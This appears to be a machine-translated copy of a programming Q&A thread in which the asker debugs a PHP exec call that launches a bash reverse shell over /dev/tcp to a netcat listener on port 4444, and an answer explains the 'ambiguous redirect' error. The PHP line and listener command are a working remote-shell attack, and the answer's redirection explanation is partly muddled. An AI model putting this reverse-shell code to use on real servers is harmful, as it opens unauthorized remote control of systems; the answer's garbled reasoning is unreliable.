bash:1“);:我的nc监听器上的模糊重定向

时间:2018-03-25 18:28:21

标签: bash command-line-interface netcat

我有一个在端口4444上运行的netcat监听器 nc -nlvp 4444

我有我正在调用的PHP代码:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/xx.xx.x.xx/4444 0>&1'");?>

但是,当我调用这个php代码时,我在netcat监听器上得到以下内容:

listening on [any] 4444 ...
connect to [xx.xx.x.xx] from (UNKNOWN) [xx.xx.x.xx] 59914
bash: 1");: ambiguous redirect

造成这种情况的原因是什么?

由于

1 个答案:

答案 0 :(得分:2)

The error means exactly what it says — you have a redirect that is ambiguous.

"unclear or inexact because a choice between alternatives has not been made."

0>&1

Your command takes file descriptor 0 (stdin) and redirects to file descriptor 1 (stdout), which is seemingly meaningless without another descriptor behind it.

Here's an example which illustrates the ambiguity:

bash -c 'ls >& $(echo "testing") 0>&1'

Which is the same as:

bash -c 'ls >& $(echo "testing")'

Although adding another descriptor behind the redirect:

bash -c 'ls >& $(echo "testing") 0>&1 *'

The output file excludes itself when the descriptor doesn't already exist.

Bash Reference Manual: Redirections - GNU.org